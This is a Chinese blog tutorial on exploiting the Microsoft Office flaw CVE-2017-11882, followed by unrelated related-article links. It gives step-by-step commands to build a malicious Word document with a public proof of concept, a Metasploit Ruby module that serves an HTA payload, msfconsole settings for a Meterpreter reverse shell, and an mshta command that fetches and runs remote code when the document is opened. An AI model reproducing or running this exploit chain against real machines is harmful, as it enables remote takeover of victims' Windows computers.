首页 技术 正文
技术 2022年11月15日
0 收藏 437 点赞 3,958 浏览 2178 个字

  环境:

  kali系统, windows系统

  流程:

  在kali系统生成利用文件, kali系统下监听本地端口, windows系统打开doc文件,即可中招

  

  第一种利用方式, 适合测试用:

    从git下载代码:

git clone https://github.com/Ridter/CVE-2017-11882

    执行以下代码, 会在当前目录生成一个doc:

python Command_CVE--.py -c "cmd.exe /c calc.exe" -o test.doc

    会生成一个test.doc文件, 如果有漏洞的电脑打开这个文件, 就会弹出一个计算器;

  第二种利用方式, 反弹获得shell:

  kali系统准备:

  复制以下ruby代码到/usr/share/metasploit-framework/modules/exploits/windows/smb/cve_2017_11882.rb目录(要注意代码缩进哦):

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking include Msf::Exploit::Remote::HttpServer def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Office Payload Delivery',
'Description' => %q{
This module generates an command to place within
a word document, that when executed, will retrieve a HTA payload
via HTTP from an web server. Currently have not figured out how
to generate a doc.
},
'License' => MSF_LICENSE,
'Arch' => ARCH_X86,
'Platform' => 'win',
'Targets' =>
[
['Automatic', {} ],
],
'DefaultTarget' => 0,
))
end def on_request_uri(cli, _request)
print_status("Delivering payload")
p = regenerate_payload(cli)
data = Msf::Util::EXE.to_executable_fmt(
framework,
ARCH_X86,
'win',
p.encoded,
'hta-psh',
{ :arch => ARCH_X86, :platform => 'win '}
)
send_response(cli, data, 'Content-Type' => 'application/hta')
end def primer
url = get_uri
print_status("Place the following DDE in an MS document:")
print_line("mshta.exe \"#{url}\"")
end
end

  在命令行启动msf的服务:

service postgresql start

  再启动msf:

sudo msfconsole

  重新加载所有模块:

reload_all

  查找我们刚刚新建的cve_2017_11882模块:

search cve_2017_11882

  加载这个模块:

use exploit/windows/smb/cve_2017_11882 

  使用反弹shellcode, 配置本机地址,  配置uri地址

set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.105
set uripath aaaa
exploit

  生成漏洞利用文件test1.doc

  实现使用ifconfig查到当前计算机IP,然后在clone下来的项目下执行以下命令, 当前系统下回生成一个test1.doc文件:

python Command109b_CVE--.py -c "mshta http://192.168.0.108/aaaa" -o test1.doc

  (注意,aaaa这个名字和msf的 uripath是一样的, 不能乱写)

  把生成的test1.doc 放到window系统执行, msf就会返回一个shell

  相关资源:

  POC的项目地址:https://github.com/Ridter/CVE-2017-11882/

  python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc

office漏洞利用–获取shell 作者: NONO
出处:http://www.cnblogs.com/diligenceday/

企业网站:http://www.idrwl.com/
开源博客:http://www.github.com/sqqihao
QQ:287101329

微信:18101055830

相关推荐
python开发_常用的python模块及安装方法
adodb:我们领导推荐的数据库连接组件bsddb3:BerkeleyDB的连接组件Cheetah-1.0:我比较喜欢这个版本的cheeta…
日期:2022-11-24 点赞:878 阅读:9,492
Educational Codeforces Round 11 C. Hard Process 二分
C. Hard Process题目连接:http://www.codeforces.com/contest/660/problem/CDes…
日期:2022-11-24 点赞:807 阅读:5,907
下载Ubuntn 17.04 内核源代码
zengkefu@server1:/usr/src$ uname -aLinux server1 4.10.0-19-generic #21…
日期:2022-11-24 点赞:569 阅读:6,740
可用Active Desktop Calendar V7.86 注册码序列号
可用Active Desktop Calendar V7.86 注册码序列号Name: www.greendown.cn Code: &nb…
日期:2022-11-24 点赞:733 阅读:6,495
Android调用系统相机、自定义相机、处理大图片
Android调用系统相机和自定义相机实例本博文主要是介绍了android上使用相机进行拍照并显示的两种方式,并且由于涉及到要把拍到的照片显…
日期:2022-11-24 点赞:512 阅读:8,132
Struts的使用
一、Struts2的获取  Struts的官方网站为:http://struts.apache.org/  下载完Struts2的jar包,…
日期:2022-11-24 点赞:671 阅读:5,295